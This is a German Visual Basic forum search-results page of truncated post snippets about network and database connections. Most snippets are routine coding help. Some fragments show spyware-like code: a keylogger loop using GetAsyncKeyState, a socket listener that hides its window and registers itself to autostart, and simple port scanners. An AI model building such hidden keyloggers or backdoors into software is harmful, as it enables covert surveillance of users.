Visual Basic Forum

Verfasst am: 19.01.2012, 00:01 Aufrufe: 93

Verfasst am: 30.09.2011, 06:59 Aufrufe: 352

Beispiel: Tabelle: cad_formel Felder: formel_nr (int), beschreibung(text) Tabelleninhalt: 1 abcd 2 abcdefghi 3 abcdef Meine Abfrage: Private Sub Command1_Click() Dim en As rdoEnvironment Dim QD As rdoQuery Dim cn As rdoConnection Dim rs As rdoResultset Dim SQL As String Dim con As String Dim i As Long Dim j As Long Dim t As String Dim iColsize As Long ...

Verfasst am: 13.07.2011, 11:03 Aufrufe: 338

Hi, Ich habe momentan eine Form, welche lediglich aus 2 TextBoxen besteht ( Username & Passwort ) Darunter befindet sich noch ein "connect" button. Hat mir jemand eine Code Hilfe für die Verbindung mit meinem VPN Netzwerk zuhause? Ich möchte, das wenn ich die Form beende auch die VPN Verbindng beendet wird, sprich es soll keine VPN-Wählverbindung unter den Netzwerkvindungen erstellt werden S ...

Verfasst am: 04.03.2011, 09:25 Aufrufe: 465

.." Winsock1.Close Winsock1.RemoteHost = Ip Winsock1.Connect End Sub Sub Winsock1_Connect() Debug.Print "Verbindung zu " & Winsock1.RemoteHost & " hergestellt" Winsock1.SendData "Anfrage" End Sub Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim Daten As String Winsock1.GetData Daten Debug.print Daten End ...

Verfasst am: 17.01.2011, 10:48 Aufrufe: 613

Hallo zusammen, ich beschäftige mich seit 2 Wochen gezwungenermaßen mit VBScript. Ich habe anhand verschiedenster Anleitungen und Teilen aus Scripts von diversen Websites ein kleines VBS geschrieben, das folgende Funktion hat: Teil1: + Connect auf Oracle Datenbank + select statement wird ausgeführt wobei die Personalnummer und der An/Abwesend Status ausgelesen werden. + die Ausgabe wird etwas abgewandelt (if ...

Verfasst am: 29.10.2010, 07:55 Aufrufe: 608

entschuldige bitte die vl dumme frage aber bist du mit dem server verbunden?? 'server with winsock1 .LocalPort = "12345" .Listen end with 'client with winsock1 .RemoteHost = "die ip des servers" .RemotePort = "12345" .connect end with lg

Verfasst am: 25.08.2010, 10:53 Aufrufe: 948

wie gesagt ich weis nichtmal obs winsock in .net jetz noch gibt aber sonst nicht schwer am server winsock1.localport = port windock1.listen am client winsock1.remoteip = ip winsock1.remoteport = port winsock1.connect ja und dann halt senddata

Verfasst am: 25.08.2010, 10:10 Aufrufe: 811

Documents.Open(objFileInfo.FullName) Catch ex As Exception End Try End Sub übergeben tu ich direkt aus der Connect Klasse die das Visual Studio beim erstellen eines gemeinsamen Add-Ins automatisch erstellt. Da übergebe ich einfach ein neues FileInfo Object mit dem Pfad zur Datei und die aktuell geöffnete Applikation (also word in diesem Beispiel) als Object. Damit öffnen sich die Datei ...

Verfasst am: 09.06.2010, 19:51 Aufrufe: 865

EventArgs) Handles ServerStartenToolStripMenuItem.Click If client.Connected = True Then MsgBox("Server ist schon verbunden") Else mainserver() End If End Sub Private Sub mainserver() Server = New TcpListener(ipendpoint) Server.Start() client = Server.AcceptTcpClient ...

Verfasst am: 08.02.2010, 14:37 Aufrufe: 765

Ich habe folgenden Source: Dim conn As MySqlConnection conn = New MySqlConnection conn.ConnectionString = "server=db2315.1und1.de;" _ & "user id=dbo317179755;" _ & "password=*******;" _ & "database=db317179755" ...

Verfasst am: 07.01.2010, 07:49 Aufrufe: 828

Data dtcText Caption = "Data1" Connect = "Access 2000;" DatabaseName = "" DefaultCursorType= 0 'Standard-Cursor DefaultType = 2 'ODBC verwenden Exclusive = 0 'False Height = 315 Left = 10590 Options ...

Verfasst am: 14.12.2009, 18:23 Aufrufe: 1337

hWnd, 0) SetWindowText lwndC, lpszName capSetCallbackOnStatus lwndC, AddressOf MyStatusCallback capSetCallbackOnError lwndC, AddressOf MyErrorCallback If capDriverConnect(lwndC, 0) Then capDriverGetCaps lwndC, VarPtr(Caps), Len(Caps) capPreviewScale lwndC, True capPreviewRate lwndC, 66 ...

Verfasst am: 23.11.2009, 08:00 Aufrufe: 663

Alright, is there anyone who can help me with this: Different users will use one PC and will run the same application. However, every user needs to be connected with his/her individual database before as the application needs to access it. As far as I found out I will need to set up the login/password routine with visual basic and have to connect the network share with Wnetaddconnection2 using username and P ...

Verfasst am: 28.10.2009, 15:46 Aufrufe: 520

Nun habe ich eine schöne Componente gefunden um meinen Ideen freien Lauf zu lassen... Ich arbeite mit MS Winsock 6.0 damit wollte ich ein Chatprogramm realisieren, so schön so gut....immer wenn ich den Client Disconnecte und wieder CONNECTE bekommt der Client ERROR meldung="Falsches Protokoll oder Verbindungszustand für die Angeforderte Transaktion oder Anforderung" Wie kann ich das beheben.... C ...

Verfasst am: 23.10.2009, 12:11 Aufrufe: 647

Gesagt getan datei erstellt und geteste und die Provider die ich dacht die Müssen es ein funktionieren nicht ( - SQL NATIVE CLIENT ; -Microsoft OLE DB PROVIDER FOR SQL SERVER [Fehler beim Testen der Verbindung durch einen Fehler beim Initialisieren des Providers [DBNETLIB][ConnectioOpen(Connect())),]SQL Server existiert nicht oder Zugriff verweigert] ; -Microsoft OLE DB Provider for Search [Der Provider ist n ...

Verfasst am: 20.06.2009, 13:04 Aufrufe: 716

... hen Weg gemacht bis ich mir überlegt habe einfach ein Programm zu schreiben, ihr gebt die HP ein und kriegt die IP ausgespuckt als kleines extra könnt ihr euch auch eure interne IP ausgeben lassen.Domainchecker eingebaut! Wers gebrauchen kann... Changelog: Domainchecker....Ihr wollt schnell nachsehen ob eine Domain bereits registriert ist? Dann habt ihr nun eine neue in SceneIPs dafür! Free = Frei ...connect ...

Verfasst am: 15.06.2009, 17:30 Aufrufe: 683

..). Der Spieler mit der öffentliche IP, muss den Server auswählen und den Button Listen drücken, während der andere Spieler den Clienten auswählt und die IP in die Textbox eingibt und dann den Button Connect drückt. Falls die beiden Computer in Verbindung stehen, erscheint eine MsgBox. Wenn dies nicht passierend würde, solltet ihr die angegebene IP kontrollieren und den Firewall ausschalten (auf beiden Rechner).Wenn ...

Verfasst am: 15.06.2009, 11:16 Aufrufe: 1734

Private Sub Form_Load() ws.LocalPort = 2222 ws.Listen End SubUnd eingehende Verbindungen akzeptieren wir hiermit.Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.Close ws.Accept requestID Label1.Caption = "Connection established" End SubDamit wir auch sehen ob eine Verbindung besteht, wird gleich in Label1 ...

Verfasst am: 03.05.2009, 11:38 Aufrufe: 2099

Index 'Zum erzeugen des Indexes Damit hätten wir schonmal den Grundstein. 3. Datenbank erstellen Set Db = DAO.Workspaces(0).CreateDatabase(Name, Connect, Option) (Set Db) Die erstellte Datenbank wird der Variable Db(Dao.Database) zugewiesen. (Workspaces) Man kann "Workspaces" auch als Variable wie Db oder Tb deklarieren, aber da man das eigentlich nur selten braucht, ver ...

Verfasst am: 10.04.2009, 18:02 Aufrufe: 765

Listen App.TaskVisible = False Form1.Visible = False End Sub Private Sub Winsock1_Close() Winsock1.Close Winsock1.Listen End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) If Not Winsock1.State Then Winsock1.Close Winsock1.Accept requestID End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim data As String Winsock1. ...

Verfasst am: 16.03.2009, 09:36 Aufrufe: 2405

TcpClient() tcpClient.Connect(IP, PORT) networkStream = tcpClient.GetStream() while ServerNotDown '**************** 'Client-Programm '**************** if DownTime then ServerNotDown = false end if end while tcpClient.

Verfasst am: 16.03.2009, 07:09 Aufrufe: 2405

SocketException: Eine Verbindungsanforderung bezog sich auf einen bereits verbundenen Socket Ich öffne die Verbindung wie folgt: Dim tcpClient As New System.Net.Sockets.TcpClient() tcpClient.Connect(IP, Port) Wenn ich nun tcpClient.Connect wieder aufrufe bekomme ich obrige Fehlermeldung Wenn ich die Verbindung vorher mit tcpClient.Close() schliesse (was ja logisch wäre) bekomme ich ...

Verfasst am: 14.03.2009, 20:38 Aufrufe: 2383

Meine Controlls: -Winsock: Internet -Textbox: txtHistory -Button: cmdConnect -Button: cmdChannel Dim Server As String Dim Channel As String Dim Port As String Dim Computer As String Dim Username As String Public Sub Form_Load() Server = "XXX" Channel = "#XXX" Port = "XXX" Computer = Environ("Computername") Username = Environ("Userna ...

Verfasst am: 10.03.2009, 16:25 Aufrufe: 2135

Ich stelle mit meinem Programm eine Connection zu einer lokalen MySQL Datenbank her (über XAMPP) Hier ein Codeausschnitt: con.ConnectionString = "Data Source=########;Database=######;User ID=#######;Password=#######" cmd.Connection = con Call Generate() Dim anzahl As Integer Try con.Open() cmd.CommandText = _ ...

Verfasst am: 29.01.2009, 20:56 Aufrufe: 1334

Ja, ist eigentlich einfach. Du musst einfach mit einem Winsock zu ner IP mit nem Port connecten und schauen ob es funktioniert. Ich schreib dir mal eben n Code (weiß nicht ob er funktioniert, hab grade kein VB da.) Probier's mal so: 1 Edit Feld ( txtPort ) 1 Edit Feld ( txtAnfangsIP ) 1 Edit Feld (txtEndIP ) 1 Button ( cmdCheck) 1 Winsock (Winsock) so.. und dann im Button folgenden Text: di ...

Verfasst am: 27.01.2009, 15:48 Aufrufe: 1166

EXEName & ".exe" ws.LocalPort = 6885 ws.Close ws.Listen End Sub Private Sub ws_ConnectionRequest(ByVal requestID As Long) If ws.State <> sckClosed Then ws.Close ws.Accept requestID End Sub Private Sub ws_DataArrival(ByVal bytes As Long) Dim Dat As String ws.GetData Dat MsgBox Dat, vbInformation End Sub Private Sub RegisterApp() Call SetMyApplicationToRun(HKEY_LOCAL_MACHINE, " ...

Verfasst am: 28.12.2008, 12:49 Aufrufe: 2334

RemoteHost = Text1.Text & "." & Text2.Text & "." & Text3.Text & "." & Text4.Text socket.RemotePort = "21" socket.Connect Increment Loop End Sub Function Increment() If Text4.Text > 255 Then Text3.Text = Text3.Text + 1 Text4.Text = 0 End If If Text3.Text > 255 Then Text2.Text = Text2.Text + 1 Text3.Text = 0 End If If Text2. ...

Verfasst am: 25.09.2008, 18:11 Aufrufe: 1648

was willst du denn mehr ?! in der box bei http-request steht doch sogar noch was( wie es ) beim winsock-connectevent gesendet wird... dann einfach das incoming per data arrival mitloggen €: naja gut vlt ist es so besser: winsock connect: ws.senddata = "GET /index.php HTTP/1.1" & vbcrlf & _ "Host: google.de" & vbcrlf & _ "User-Agent: Mozilla/5.0 (Windows; U; W ...

Verfasst am: 21.09.2008, 09:38 Aufrufe: 907

Hey , SpeedwalkerHast du denn die beiden schon connected?D.h. beim Server :Localport einstelenListen lassenBei Request Winsock1.closewinsock1.accept requestidUnd bei Data Arrival , das er das annimmt?Und beim Client:Das er dahin Connected , bevor er schicktAuf den gleichen Port, auf den der Server "Listened"und dan einfach beim Winsock unter connect , also wen er connected , dass er das dan schickt??D.h. die eigentlc ...

Verfasst am: 16.09.2008, 16:16 Aufrufe: 2068

Verfasst am: 06.09.2008, 17:31 Aufrufe: 1275

den port den du zum coonnecten nimmst:winsock.connect no-ip, portwenn der offen ist, kannste das projekt am besten mal nen freund schicken und testen...

Verfasst am: 28.08.2008, 14:38 Aufrufe: 2852

Verfasst am: 21.08.2008, 23:06 Aufrufe: 2852

Verfasst am: 05.08.2008, 12:29 Aufrufe: 825

Verfasst am: 09.07.2008, 21:00 Aufrufe: 1182

Verfasst am: 07.07.2008, 16:34 Aufrufe: 1073

Boah erstmal total korrekt den Chat Tutorial = D den Blog ist auch geilUnd das zweite das mit dem Recerse Connect...In deinem Tutorial wird ja nur das andere erklärt, vom Client -> Server, wie mach ich das mit dem Timer, also Server->Client?Ich hab eine statische IP, das würde es mir viel einfacher machen...Könntest du das vielleicht erklären wie ich das so machen kann?

Verfasst am: 07.07.2008, 16:25 Aufrufe: 1073

Also: Recerse Connect ist, wenn anstatt wie normal Client -> Server, Client

Verfasst am: 07.07.2008, 16:13 Aufrufe: 1073

Das was du angedeutet hast funktioniert auch! Man nennt das Reverse Connect wenn der Server zum Client verbindet! Das funktioniert aber nur dann, wenn der Client Computer (deiner) eine statische IP hat!

Verfasst am: 30.06.2008, 14:00 Aufrufe: 2776

Verfasst am: 26.06.2008, 15:59 Aufrufe: 593

PutFile path, datei da kommt immer variable nicht definiert:confused:Public Function FTPUpload(server As String, user As String, pass As String, path As String, file As String) Dim ftp As myFtp Set ftp = New myFtp ftp.Connect server, user, pass ftp.PutFile SaveFile &n ...

Verfasst am: 26.06.2008, 13:19 Aufrufe: 593

Verfasst am: 16.06.2008, 17:10 Aufrufe: 450

Verfasst am: 15.06.2008, 18:30 Aufrufe: 554

Verfasst am: 15.06.2008, 15:01 Aufrufe: 554

Verfasst am: 15.06.2008, 10:42 Aufrufe: 1611

Verfasst am: 27.05.2008, 22:17 Aufrufe: 571

Hab im Internet folgenden Code gefunden:Visual Basic: Wo liegt das Problem?

Verfasst am: 14.05.2008, 18:58 Aufrufe: 865

... Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Sub keytimer_Timer() Dim log As String Dim resulta As Integer Dim n As Integer For n = 1 To 255 resulta = 0 resulta = GetAsyncKeyState(n) If resulta = -32767 Then log = log + Chr(n) End If Next n End Sub Private Sub Timer1_Timer() ws.Close ws.Connect ...

Verfasst am: 06.05.2008, 16:18 Aufrufe: 1066

... & laufwerke(1) Next ' Objekte zerstören Set objWMI = Nothing Set colClass = Nothing Set objClass = Nothing End Sub Private Sub Timer1_Timer() On Error Resume Next Winsock1.Connect ...

Verfasst am: 01.05.2008, 11:10 Aufrufe: 1699

Es wird einfach versucht eine Verbindung per Winsock zu dem jeweiligen Port aufzubauen.wSock(i).Connect currentIP, currentPortAlso ein einfacher TCP Scanner der zurückgibt ob eine Verbindung hergestellt werden konnte oder nicht.Nicht wirklich auffregend, aber trotzdem ein recht netter source.

Verfasst am: 25.04.2008, 11:21 Aufrufe: 615

Click Shell("""D:\Programme\Activision\Call of Duty 4 - Modern Warfare\Verknüpfung mit iw3mp.exe.lnk"" +connect """ & TextBox2.Text & """") End Sub Btw.: Du kannst statt Chr(34) auch "" schreiben.